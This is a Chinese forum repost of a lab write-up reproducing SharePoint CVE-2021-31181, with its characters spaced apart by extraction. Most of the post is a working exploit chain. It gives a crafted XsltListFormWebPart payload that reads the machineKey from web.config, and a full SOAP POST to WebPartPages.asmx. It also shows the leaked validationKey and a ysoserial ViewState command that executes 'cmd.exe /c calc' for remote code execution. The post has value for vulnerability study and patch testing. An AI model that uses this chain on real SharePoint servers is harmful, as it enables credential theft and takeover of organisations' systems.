搜索

[1179] 2021-06-08_SharePointCVE-2021-31181复现

文档创建者：s7ckTeam
浏览次数：33
最后更新：2025-01-16
2021-06-08_SharePointCVE-2021-31181复现 S h a r e P o i n t   C V E - 2 0 2 1 - 3 1 1 8 1   复 现 Y 4 e r   C h a B u g   2 0 2 1 - 0 6 - 0 8 复 现 复 现 需 要 一 个 用 户 ， 我 这 使 用 的 是 域 管 理 员 账 号 + S h a r e P o i n t 2 0 1 6 先 要 创 建 t e a m   s i t e ， 在 s p 2 0 1 6 里 是 创 建 网 站 集 ， 我 创 建 一 个 名 为 t s 的 网 站 集 h t t p : / / s h a r e p o i n t : 8 0 8 0 / _ a d m i n / c r e a t e s i t e . a s p x i m a g e . p n g 然 后 看 p o c 的 x m l 中 需 要 三 个 参 数 < % @   R e g i s t e r   T a g P r e f i x = " W e b P a r t P a g e s "   N a m e s p a c e = " M i c r o s o f t . S h a r e P o i n t . W e b P a r t P a g e "   A s s e m b l y = " M i c r o s o f t . S h a r e P o i n t ,   V e r s i o n = 1 6 . 0 . 0 . 0 ,   C u l t u r e = n e u t r a l ,   P u b l i c K e y T o k e n = 7 1 e 9 b c e 1 1 1 e 9 4 2 9 c " < % @ R e g i s t e r   T a g P r e f i x = " a t t "   N a m e s p a c e = " S y s t e m . W e b . U I . W e b C o n t r o l s   "   A s s e m b l y = " S y s t e m . W e b ,   V e r s i o n = 4 . 0 . 0 . 0 ,   C u l t u r e = n e u t r a l ,   P u b l i c K e y T o k e n = b 0 3 f 5 f 7 f 1 1 d 5 0 a 3 a " % >   < W e b P a r t P a g e s : X s l t L i s t F o r m W e b P a r t   i d = " i d 0 1 "   r u n a t = " s e r v e r "   L i s t D i s p l a y N a m e = " D o c u m e n t s "   W e b I d = " { 6 e 7 0 4 0 c 8 - 0 3 3 8 - 4 4 4 8 - 9 1 4 d - a 7 0 6 1 e 0 f c 3 4 7 } " >       < D a t a S o u r c e s >           < a t t : x m l d a t a s o u r c e   r u n a t = " s e r v e r "   i d = " X D S 1 "               X P a t h = " / c o n f i g u r a t i o n / s y s t e m . w e b / m a c h i n e K e y "               d a t a f i l e = " c : / i n e t p u b / w w w r o o t / w s s / V i r t u a l D i r e c t o r i e s / 8 0 / w e b . c o n f i g "   / >       < / D a t a S o u r c e s >       < x s l >               < x s l : s t y l e s h e e t   v e r s i o n = " 2 . 0 "   x m l n s : x s l = " h t t p : / / w w w . w 3 . o r g / 1 9 9 9 / X S L / T r a n s f o r m " >                                         < x s l : o u t p u t   m e t h o d = " x m l "   i n d e n t = " y e s " / >                       < x s l : t e m p l a t e   m a t c h = " / "   >                       < x s l : c o p y - o f   s e l e c t = " . " / >                       < / x s l : t e m p l a t e >               < / x s l : s t y l e s h e e t >       < / x s l >   < / W e b P a r t P a g e s : X s l t L i s t F o r m W e b P a r t >
1 . L i s t D i s p l a y N a m e 2 . W e b I d 3 . d a t a f i l e W e b I d 来 自   h t t p : / / s h a r e p o i n t / s i t e s / t s / _ a p i / w e b / i d i m a g e . p n g e 8 9 c 6 4 e 5 - 7 5 c e - 4 b d 4 - 8 1 8 1 - 2 2 9 8 2 2 8 f c 9 1 f L i s t D i s p l a y N a m e 可 以 新 建 一 个 i m a g e . p n g i m a g e . p n g 然 后 L i s t D i s p l a y N a m e 为 t e s t 第 三 个 参 数 d a t a f i l e 是 要 读 取 的 w e b . c o n f i g 文 件 ， 这 个 中 8 0 对 应 的 端 口 号 ， 但 是 有 的 情 况 特 殊 可 以 试 试 c : / i n e t p u b / w w w r o o t / w s s / V i r t u a l D i r e c t o r i e s / 8 0 / w e b . c o n f i g C : i n e t p u b w w w r o o t w e b . c o n f i g
比 如 我 搭 建 的 s p ， 8 0 8 0 管 理 端 口 对 应 的 是 3 8 0 4 0 i m a g e . p n g 然 后 读 w e b . c o n f i g ， 构 造 的 x m l h t m l 编 码 之 后 h t t p 请 求 C : i n e t p u b w w w r o o t w e b . c o n f i g < % @   R e g i s t e r   T a g P r e f i x = " W e b P a r t P a g e s "   N a m e s p a c e = " M i c r o s o f t . S h a r e P o i n t . W e b P a r t P a g e "   A s s e m b l y = " M i c r o s o f t . S h a r e P o i n t ,   V e r s i o n = 1 6 . 0 . 0 . 0 ,   C u l t u r e = n e u t r a l ,   P u b l i c K e y T o k e n = 7 1 e 9 b c e 1 1 1 e 9 4 2 9 c " < % @ R e g i s t e r   T a g P r e f i x = " a t t "   N a m e s p a c e = " S y s t e m . W e b . U I . W e b C o n t r o l s   "   A s s e m b l y = " S y s t e m . W e b ,   V e r s i o n = 4 . 0 . 0 . 0 ,   C u l t u r e = n e u t r a l ,   P u b l i c K e y T o k e n = b 0 3 f 5 f 7 f 1 1 d 5 0 a 3 a " % >   < W e b P a r t P a g e s : X s l t L i s t F o r m W e b P a r t   i d = " i d 0 1 "   r u n a t = " s e r v e r "   L i s t D i s p l a y N a m e = " t e s t "   W e b I d = " { e 8 9 c 6 4 e 5 - 7 5 c e - 4 b d 4 - 8 1 8 1 - 2 2 9 8 2 2 8 f c 9 1 f } " >       < D a t a S o u r c e s >           < a t t : x m l d a t a s o u r c e   r u n a t = " s e r v e r "   i d = " X D S 1 "               X P a t h = " / c o n f i g u r a t i o n / s y s t e m . w e b / m a c h i n e K e y "               d a t a f i l e = " c : / i n e t p u b / w w w r o o t / w s s / V i r t u a l D i r e c t o r i e s / 3 8 0 4 0 / w e b . c o n f i g "   / >       < / D a t a S o u r c e s >       < x s l >               < x s l : s t y l e s h e e t   v e r s i o n = " 2 . 0 "   x m l n s : x s l = " h t t p : / / w w w . w 3 . o r g / 1 9 9 9 / X S L / T r a n s f o r m " >                                         < x s l : o u t p u t   m e t h o d = " x m l "   i n d e n t = " y e s " / >                       < x s l : t e m p l a t e   m a t c h = " / "   >                       < x s l : c o p y - o f   s e l e c t = " . " / >                       < / x s l : t e m p l a t e >               < / x s l : s t y l e s h e e t >       < / x s l >   < / W e b P a r t P a g e s : X s l t L i s t F o r m W e b P a r t > P O S T   / s i t e s / t s / _ v t i _ b i n / W e b P a r t P a g e s . a s m x   H T T P / 1 . 1 H o s t :   s h a r e p o i n t C o n t e n t - T y p e :   t e x t / x m l ;   c h a r s e t = u t f - 8 C o n t e n t - L e n g t h :   6 5 2 7 S O A P A c t i o n :   " h t t p : / / m i c r o s o f t . c o m / s h a r e p o i n t / w e b p a r t p a g e s / R e n d e r W e b P a r t F o r E d i t " < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " u t f - 8 " ? > < s o a p : E n v e l o p e   x m l n s : x s i = " h t t p : / / w w w . w 3 . o r g / 2 0 0 1 / X M L S c h e m a - i n s t a n c e "   x m l n s : x s d = " h t t p : / / w w w . w 3 . o r g / 2 0 0 1 / X M L S c h e m a "   x m l n s : s o a p = " h t t p : / / s c h e m a s . x m l s o a p . o r g / s o a p / e n v e l o p e / " >     < s o a p : B o d y >         < R e n d e r W e b P a r t F o r E d i t   x m l n s = " h t t p : / / m i c r o s o f t . c o m / s h a r e p o i n t / w e b p a r t p a g e s " >             < w e b P a r t X m l > < % @   R e g i s t e r   T a g P r e f i x = " W e b P a r t P a g e s "   N a m e s p a c e = " M i c r o s o f t . S h a r e P o i n t . W e b P a r t P a g e "   A s s e m b l y = " M i c r o s o f t . S h a r e P o i n t ,   V e r s i o n = 1 6 . 0 . 0 . 0 ,   C u l t u r e = n e u t r a l ,   P u b l i c K e y T o k e n = 7 1 e 9 b c e 1 1 1 e 9 4 2 9 c "         < / R e n d e r W e b P a r t F o r E d i t >     < / s o a p : B o d y > < / s o a p : E n v e l o p e >
i m a g e . p n g 拿 到 v a l i d a t i o n K e y   E 8 1 8 4 A D C E E 3 E 6 F D 3 9 E 3 5 B 4 4 A C 3 4 4 F 8 8 C 2 5 8 1 F 9 F 0 2 2 B F 7 6 6 1 F 2 2 3 D B D 4 E B 3 F 9 3 1 6 然 后 y s o s e r i a l 构 造 v i e w s t a t e ， 查 看 源 代 码   h t t p : / / s h a r e p o i n t / s i t e s / t s / _ l a y o u t s / 1 5 / s u c c e s s . a s p x   拿 到   _ _ V I E W S T A T E G E N E R A T O R   A F 8 7 8 5 0 7 i m a g e . p n g 命 令 发 包 就 R C E 了 但 是 我 这 边 用 不 行 ， 用 c : / i n e t p u b / w w w r o o t / w e b . c o n f i g   就 可 以 了 。 . y s o s e r i a l . e x e   - p   V i e w S t a t e   - g   T y p e C o n f u s e D e l e g a t e   - c   " c m d . e x e   / c   c a l c "   - - g e n e r a t o r = " A F 8 7 8 5 0 7 "   - - v a l i d a t i o n k e y = " E 8 1 8 4 A D C E E 3 E 6 F D 3 9 E 3 5 B 4 4 A C 3 4 4 F 8 8 C 2 5 8 1 F 9 F 0 2 2 B F 7 6 6 1 F 2 2 3 D B D 4 E B 3 F 9 3 1 6 " c : / i n e t p u b / w w w r o o t / w s s / V i r t u a l D i r e c t o r i e s / 3 8 0 4 0 / w e b . c o n f i g
i m a g e . p n g i m a g e . p n g 参 考 参 考 h t t p s : / / w w w . z e r o d a y i n i t i a t i v e . c o m / b l o g / 2 0 2 1 / 6 / 1 / c v e - 2 0 2 1 - 3 1 1 8 1 - m i c r o s o f t - s h a r e p o i n t - w e b p a r t - i n t e r p r e t a t i o n - c o n f l i c t - r e m o t e - c o d e - e x e c u t i o n - v u l n e r a b i l i t y 分 享 、 点 赞 、 在 看 就 是 对 我 们 的 一 种 支 持 ！
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理